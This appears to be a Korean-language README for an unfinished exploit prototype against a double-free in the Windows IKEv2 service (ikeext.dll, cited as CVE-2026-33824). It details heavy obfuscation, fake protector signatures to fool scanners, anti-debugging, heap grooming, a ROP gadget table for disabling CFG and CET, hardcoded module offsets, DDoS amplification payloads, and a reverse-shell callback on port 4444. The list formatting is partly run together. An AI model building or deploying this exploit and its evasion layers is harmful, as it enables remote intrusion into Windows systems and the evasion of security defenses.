
IKEv2, ikeext.dll, CVE-2026-33824, double free, heap grooming, ROP, SKF fragmentation, Windows exploit, anti-debug, obfuscation, API hooking, shellcode, reverse shell
⚠️ 프로젝트가 마무리 중입니다. 현재 상태에서는 완전히 작동하지 않습니다.
EpSiLoNPoInTIkEv2.cpp는 Windows를 대상으로 하는 C/C++ 익스플로잇 프로토타입으로, ikeext.dll (Windows IKEv2 드라이버) 내의 double-free 유형 익스플로잇을 중심으로 개발되었으며, 연구 중 CVE-2026-33824로 참조됩니다.
이 프로젝트는 다음을 포함합니다:
EpSi_OBF_ENDL / 영감을 받은 obfusheader)코드는 컴파일 타임에 #define EpSi_OBF_ENDL을 통해 활성화되는 강력한 난독화 계층을 사용합니다.
obfusheader.h를 기반으로 하여, 적용 및 확장되었습니다.
FAKE_SIGNS == 1)알려진 프로텍터 스캐너를 속이기 위해 사용자 정의 PE 섹션이 바이너리에 삽입됩니다:
.vmp0, .vmp1, .vmp2 → VMProtectUPX0 → UPX.enigma1, .enigma2 → Enigma Protector.winlice → Themida.petite, .aspack, .adata, .rlp, .vlizer, .arch, .alien, .pwdprot,
.dsstext, logicoma, __wibu00, __wibu01, PETETRIS, .tw, .rdata (Nuitka), .text (Screen2Exe) 등.0x45,0x6e,0x69,...), Denuvo(0x64,0x65,0x6E,...)를 모방한 인코딩된 문자열.FAKE_DONGLE[] 배열: skeydrv.dll, HASPDOSDRV,
MARXDEV1.SYS, WIBUKEY, SNTNLUSB, RNBOspro 등.VIRT == 1)모든 산술 및 논리 연산은 내부 VM(Obfh_VirtualMachine)으로 라우팅될 수 있습니다:
OP__ADD, OP__SUB, ..., OP__NOP)는 __COUNTER__ 및 RND()를 통해 컴파일 타임에 무작위로 생성됩니다._VM_ENCRYPT_INT(value) = (value - _VM_MUTATOR_KEY) * ~SALT_CMD.* -1)되며, 정크 값과 함께 전달됩니다.goto, 가짜 음수 case, BREAK_STACK_* (인라인 ASM xor; jz; .byte 0xE8; cpuid), 가짜 JMP (.byte 0xFF, 0x25) 및 디컴파일러를 속이기 위한 가짜 x86_64 코드 블록으로 가득 차 있습니다.VM_ADD, VM_SUB, VM_MUL, VM_DIV, VM_MOD, VM_EQU, VM_NEQ,
VM_LSS, VM_GTR, VM_LEQ, VM_GEQ, VM_OBF_INT, VM_ADD_DBL, VM_MUL_DBL 등.NO_CFLOW != 1)#define if(cond) : 각 if는 __s_rdtsc() 호출과 죽은 BAD_CALL을 삽입합니다.#define else : 실제 else 전에 죽은 else if (0) { BAD_CALL; }를 삽입합니다.#define while(...) : __s_rdtsc() != 0.1과 터무니없는 포인터 검사로 조건화됩니다.#define for(...) : OBFUS_CONDITION_BLOCK으로 조건화됩니다.#define switch(...) : OBFUS_CONDITION_BLOCK으로 조건화됩니다.#define break : 각 break 전에 if (OBFUS_CONDITION_BLOCK) BREAK_STACK_1을 삽입합니다.HIDE_STRING)STACK_STRING(str) : 복합 리터럴을 통해 문자열을 스택에 푸시합니다.HIDE_STRING(str) : obfh_process_hidden_string() + __s_rdtsc()를 죽은 BAD_JMP와 결합하여 바이너리 내 문자열을 숨깁니다.모든 CRT 및 Win32 함수는 리디렉션됩니다:
GetProcAddress(LoadLibraryA("msvcrt"), ...) 동적: printf, scanf,
sprintf, strlen, strcmp, strcpy, strtok, memset, memcpy, strchr, strrchr,
rand, realloc, calloc, fopen, fclose, fread, fwrite, exit, snprintf,
vsprintf, vsnprintf, getenv, system, abort, atexit, getcwd, tolower, toupper.obfh_int_proxy() 래퍼: CreateFile,
ReadFile, WriteFile, CloseHandle, VirtualAlloc, VirtualFree, CreateThread,
WaitForSingleObject, WaitForMultipleObjects, ExitProcess, GetModuleHandle,
GetModuleFileName, HeapCreate, HeapAlloc, HeapFree, GlobalAlloc, GlobalFree,
GetTempPath, SetEvent, ResetEvent, Sleep, memmove, GetParent, GetWindowRect,
GetClientRect, SetWindowPos, SetConsoleTextAttribute, GetDesktopWindow, GetStockObject.GetProcAddress가 GetProcAddress_custom으로 대체됨: 수동으로 IMAGE_EXPORT_DIRECTORY 탐색
(PE 파싱: e_lfanew, IMAGE_NT_HEADERS, IMAGE_DIRECTORY_ENTRY_EXPORT, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals).LoadLibraryA는 6개의 중첩 래퍼(LoadLibraryA_0 ~ LoadLibraryA_proxy)로 난독화되며,
휘발성 변수 _k, _e, _r, _n, _e, _l 및 sprintf를 통해 DLL 이름을 문자별로 재구성합니다.ANTI_DEBUG_V2 == 1)ThreadCompareDRs): 메인 스레드에 SuspendThread, CONTEXT_DEBUG_REGISTERS로 GetThreadContext, Dr0–Dr3, Dr7 확인, ad_ZeroDRs로 제로화.IsDebuggerPresent_proxy: kernel32.dll을 동적으로 로드하고, 휘발성 변수(_I, _s, _D, _e, _b, _u, _g, _g, _e, _r, _P, _r, _e, _s, _e, _n, _t)를 통해 함수 이름 IsDebuggerPresent를 문자별로 재구성, GetProcAddress를 통해 호출.ANTI_DEBUG: 이중 검사 IsDebuggerPresent() || IsDebuggerPresent_proxy(), loop() (무한 루프) 트리거, .byte 0xED (권한이 있는 IN 명령어), BREAK_STACK_1, ret ASM, 그 다음 crash() (int $3 + .byte 0xED, 0x00).민감한 함수에 삽입된 9가지 변형의 인라인 ASM 시퀀스:
xor; jz; .byte 0xE8; cpuid (eax, ebx, edx 변형), 가짜 명령어 0x50, 0x20,
0x00, 0xEB, 0xE1 (x86), 0xFF, 0x25, 0xF1, 0xF2, 0xF3, 0xF4 (x86_64).
#include "runassys/ntnative.h"
#include "runassys/runassys.h"
#include "runassys/ntdll-stubs/ntdll-stubs.c"
#include "runassys/ntdll-stubs/ntdll.def.c"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "Version.lib")
IKEEXT_BASE_ADDRESS = 0x180000000g_IkeextDoubleFreeOffset = 0x12B960g_IkeextProcessIkePayload = 0x522200x1790A0), 가져오기 (0x179110), 예외 (0x183000),
재배치 (0x18C000), 로드 구성 (0x12AE70), 디버그 (0x155CD0).g_Offset_MMSA_SecurityRealmBlob = 0x208,
g_Offset_PacketContext_Blob = 0xC8.500 (UDP), 셸 콜백: 4444.IKE_HEADER, IKE_SA_PAYLOAD, IKE_PROPOSAL_PAYLOAD, IKE_TRANSFORM_PAYLOAD,
IKE_NONCE_PAYLOAD (32바이트 난스), IKE_KEY_EXCHANGE_PAYLOAD (DH 256바이트),
IKE_NOTIFY_PAYLOAD, IKE_VENDOR_ID_PAYLOAD, IKE_SKF_FRAGMENT_PAYLOAD.
구성된 변환: AES-CBC-128 (12), PRF HMAC-SHA2-256 (5),
INTEG HMAC-SHA2-256-128 (12), DH MODP-2048 (14).
IKE_DDOS_AMPLIFIER_PAYLOAD : 증폭 계수 + 64바이트 트리거.IKE_DDOS_LOOP_PAYLOAD : 루프 카운터 + 32바이트 loop_code.IKE_DDOS_MEMORY_PAYLOAD : 크기/개수 할당 + 64바이트 힙 스프레이 데이터.HEAP_GROOM_CONTEXT : 힙 핸들, 대상 주소, 스레드, stop_flag, allocated_chunks.HEAP_GROOM_THREAD_PARAMS : 청크 크기, 반복 횟수, thread_id, SRWLOCK, use_nt_allocate.GROOM_CONFIG : 스레드 수, 반복 횟수, 지연 시간, 청크 크기, 최소/최대 여유 %.0x1000 크기의 청크, 1000회 반복, 30–70% 사이의 단편화.모든 필요한 가젯을 포함한 완전한 ROP_CHAIN 구조체:
pop_rax/rcx/rdx/r8/r9/rsp, mov_rax_rsp, mov_rcx_rsp, mov_rcx_rax, mov_rax_rcx,
mov_rcx_rdx, xor_rax/rcx/rdx, jmp_rsp, call_rax, ret, virtual_protect,
disable_cfg, disable_cet, add_rsp, sub_rsp, stack_pivot.
512개 가젯 배열 (rop_chain[MAX_ROP_CHAIN_SIZE]).
g_rop_patterns[] 테이블: 모듈 내에서 가젯을 찾기 위한 ~50개 이상의 바이트 서명 패턴:
pop rax; ret, pop rcx; ret, pop rdx; ret, ..., mov [rcx], rax; ret,
mov rax, [rcx]; ret, jmp rsp, VirtualProtect prologue,
mov [gs:0x60], rax; ret, jmp [rax+0x58]; ret, lea rax, [rip+0x0]; jmp rax,
add rsp, 0x28; ret, cmp rdx/r8/r9, 0x0; je/jne; ret 등.
uint64_t g_KernelBase, g_IkeextBase, g_SystemEprocess;
uint64_t g_IkeextDoubleFreeOffset = 0x12B960;
uint64_t g_IkeextProcessIkePayload = 0x52220;
uint64_t g_PopRax, g_PopRcx, g_PopRdx, g_PopR8, g_PopR9, g_PopRsp;
uint64_t g_MovRaxRsp, g_JmpRsp, g_VirtualProtect, g_DisableCFG, g_StackPivot;
uint64_t g_NtoskrnlBase, g_Kernel32Base, g_NtdllBase, g_HeapBase, g_ShellcodeAddr;
SOCKET g_Socket; struct sockaddr_in g_Target;
EXPLOIT_CONTEXT g_ExploitCtx; ROP_CHAIN g_RopChain;
HEAP_GROOM_CONTEXT g_GroomContext;
MODULE_DATA g_Modules; ROP_GADGET g_Gadgets;
std::vector<SUSPICIOUS_REGION> g_Regions;